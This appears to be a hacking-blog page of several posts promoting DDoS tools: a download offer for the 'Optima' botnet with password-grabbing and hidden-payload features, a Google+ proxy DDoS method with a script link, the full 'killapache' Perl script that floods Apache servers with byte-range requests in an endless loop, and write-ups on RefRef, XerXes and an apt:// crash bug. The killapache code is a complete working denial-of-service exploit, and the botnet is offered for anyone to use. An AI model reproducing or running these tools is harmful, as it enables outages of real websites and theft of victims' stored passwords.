Optima DDOS 10a Botnet Download

Do

"Optima DDOS 10a Botnet" full version posted for all to download and use. Complete new version of the acclaimed DDoS bot Optima Darkness. In this new version 10a according to the author was raised in secrecy bot system and optimized grabber passwords. It cost about $ 600 worth.


Features of the bot :-

• DDoS attacks of three types - http flood, icmp-flood, syn-flood.
• Theft of stored passwords from some applications installed on the victim's system, details below.
• Opening on the infected system proxy Socks5.
• The possibility of cheating various counters on the websites (http-access the sites).
• Hidden download and run the specified file to the affected systems.
• Installed in the system as a service
• Weight bot - 95.5 kb, written in Delphi.

DOWNLOAD

DDOS using google servers

Its true google helps everyone.Recently we had killapache dos now we have ddos + proxy with the help of google +
How does DDOS via google+ works?
The vulnerable pages are “/_/sharebox/linkpreview/“ and “gadgets/proxy?“
Is possible to request any file type, and G+ will download and show all the content. So, if you parallelize so many requests, is possible to DDoS any site with Google bandwidth. Is also possible to start the attack without be logged in G+.

Attack vectors:

The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method); The funny thing is that apache will log Google IPs.
But beware: gadgets/proxy? will send your ip in apache log, if you want to attack, you’ll need to use /_/sharebox/linkpreview/




+DDoS source code download:

http://www.ihteam.net/advisories/_154785695367_+ddos.sh

source

EDIT - This vulnerability have been patched !

Killapache: DDOS Tool For Apache Servers

The Apache Software Foundation has announced a denial-of-service vulnerability that affects all versions of the ubiquitous Apache web server, leaving up to 65% of all websites vulnerable. A unknown flaw in the code for processing byte range headers allows versions 2.2.x of the Apache Web Server to be crippled from a single PC. A suitable “Apache Killer” Perl script that impressively demonstrates the problem.


Advisory - Click here 


How does killapache DDOS tool work?
killapache sends GET requests with multiple “byte ranges” that will claim large portions of the system’s memory space. A “byte range” statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.

The code

1. #Apache httpd Remote Denial of Service (memory exhaustion)


2. #By Kingcope


3. #Year 2011


4. #


5. # Will result in swapping memory to filesystem on the remote side


6. # plus killing of processes when running out of swap space.


7. # Remote System becomes unstable.


8. #


9.  


10. use IO::Socket;


11. use Parallel::ForkManager;


12.  


13. sub usage {


14.         print "Apache Remote Denial of Service (memory exhaustion)\n";


15.         print "by Kingcope\n";


16.         print "usage: perl killapache.pl <host> [numforks]\n";


17.         print "example: perl killapache.pl www.example.com 50\n";


18. }


19.  


20. sub killapache {


21. print "ATTACKING $ARGV[0] [using $numforks forks]\n";


22.        


23. $pm = new Parallel::ForkManager($numforks);


24.  


25. $|=1;


26. srand(time());


27. $p = "";


28. for ($k=0;$k<1300;$k++) {


29.         $p .= ",5-$k";


30. }


31.  


32. for ($k=0;$k<$numforks;$k++) {


33. my $pid = $pm->start and next;  


34.        


35. $x = "";


36. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],


37.                                  PeerPort => "80",


38.                                          Proto    => 'tcp');


39.  


40. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


41. print $sock $p;


42.  


43. while(<$sock>) {


44. }


45.  $pm->finish;


46. }


47. $pm->wait_all_children;


48. print ":pPpPpppPpPPppPpppPp\n";


49. }


50.  


51. sub testapache {


52. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],


53.                                  PeerPort => "80",


54.                                          Proto    => 'tcp');


55.  


56. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


57. print $sock $p;


58.  


59. $x = <$sock>;


60. if ($x =~ /Partial/) {


61.         print "host seems vuln\n";


62.         return 1;      


63. } else {


64.         return 0;      


65. }


66. }


67.  


68. if ($#ARGV < 0) {


69.         usage;


70.         exit;  


71. }


72.  


73. if ($#ARGV > 1) {


74.         $numforks = $ARGV[1];


75. } else {$numforks = 50;}


76.  


77. $v = testapache();


78. if ($v == 0) {


79.         print "Host does not seem vulnerable\n";


80.         exit;  


81. }


82. while(1) {


83. killapache();


84. }

RefRef - DDOS Tool By The Anonymous

RefRef - DDOS Tool By The Anonymous

Previously you saw the source code of XerXes by The Jester . The Anonymous Team Have Also Developed their own DDoS tool which is said to exploit SQL vulnerabilities to support the group's future campaigns. Previously they had been using LOIC for many of their operation . But due to this tool many of the Anonymous got caught may the tool was not capable of hiding their tracks . So this time they made their own.


According to Developer "RefRef is a revolutionary DoS java site. Basically, by using an SQL and .js vulnerability, you can send a page request packet from your home computer with embedded .js file, because of the vulnerability in the SQL/Javascript engine on MOST websites, the site actually TEMPs the .js file on its own server. So now the .js is in place on the host of the site. Next since you still have the request, it picks up the .js file, and all of the requesting for packets power happens on the server, not the requestee. I send two packets from my iphone, and everything else happens on the server. Basically eats itself apart, because since both are on the server, its all a local connection."


This DDOS tool #RefRef s set to be released in September, according to an Anon promoting it on IRC this afternoon Developed with JavaScript, the tool is said to use the target site’s own processing power against itself. In the end, the server succumbs to resource exhaustion due to #RefRef’s usage. An attack vector that has existed for some time, resource exhaustion is often skipped over by attackers who favor the brute force of a DDoS attack sourced from bots or tools such as LOIC.


The tool is very effective, a 17-seconds attack from a single machine resulting in a 42-minute outage on Pastebin yesterday. The Pastebin Admins Weren't happy and tweeted 

The effectiveness of RefRef is due to the fact that it exploits a vulnerability in a widespread SQL service. The flaw is apparently known but not widely patched yet. The tool's creators don't expect their attacks to work on a high-profile target more than a couple of times before being blocked, but they don't believe organizations will rush to patch this flaw en masse before being hit.


This means there are a lot of possible targets out there that will be hit at least once. "This tool only makes you vulnerable if you don't keep your systems patched, perform the basic security, which is how Sony got caught with it's pants down," the RefRef developers said.


The tool works by turning the servers against themselves. It sends malformed SQL queries carrying the payload which in turn forces the servers to exhaust their own resources. However, the tool's GUI does have a field for inputting the refresh interval so it might combine traditional forms of HTTP hammering with the new technique.
Some security experts have been skeptical that the success of Anonymous's DDoS attacks can be explained through LOIC alone. They proposed that some of the group's supporters also have access to botnets, a theory that has partially proven to be correct.


source

Powerful Dos Tool XerXes | th3j35t3r's DOS tool

XerXes is one of the most powerful private dos tool. This tools was used by th3j35t3r to Hits WikiLeaks Site DoS Attack.The Jester claim the XerXeS attack can successfully disable the vast majority of websites.


Source Code - http://pastebin.com/PqFYisVL


Watch The Demonstration Video 





th3j35t3r : Follow Them 

Linux Denial of Service Vulnerability Disclosed as 0-Day

Greyhat hackers from Goatse Security have published the details of a dangerous denial of service (DoS) vulnerability affecting many Linux distributions.

The flaw can be exploited by tricking users into opening an overly-long, specially-crafted apt:// URL in a browser that supports the protocol.

"This bug is delightfully trivial to deploy. Just write a normal HTML page containing an iframe that takes a 10000 character apt:// URL as its source," the hackers write.


Because the Advanced Packaging Tool (APT) is a common Linux software manager application a large number of distributions are affected.


These includes attack on Debian, Ubuntu, Fedora, Red Hat Enterprise Linux and SUSE Linux Enterprise Desktop, but also Alinex, BLAG Linux and GNU, CentOS, ClearOS, DeMuDi, Feather Linux, Foresight Linux, gnuLinEx. gNewSense, Kaella, Knoppix, Linspire, Linux Mint, Musix, GNU/Linux, Parsix, Scientific Linux and Ututo.


Successful exploitation of the vulnerability crashes the X session with an "Unexpected X error: BadAlloc (insufficient resources for operation) serial 1779 error_code 11 request_code 53 minor_code 0)" error.


In addition to this denial of service vulnerability the Goatse Security greyhats also released an exploit for a theme rendering bug in GNOME which makes buttons disappear and leaves users with relogin as the only option.


Some people might remember Goatse Security as the group whose members exploited a vulnerability on AT&T's website in June 2010 to harvest a list of email addresses belonging to iPad 3G owners.


The list included several high-profile individuals like New York City Mayor Michael Bloomberg, former White House chief of staff Rahm Emanuel and Hollywood producer Harvey Weinstein.


Andrew Auernheimer, 25, of Fayetteville, Arkansas, and Daniel Spitler, 26, of San Francisco, California, were arrested and charged with fraud and conspiracy to access a computer without authorization over the incident.


The hacking group previously disclosed serious zero-day vulnerabilities in Apple's Safari and Mozilla Firefox browsers which were later exploited in the wild.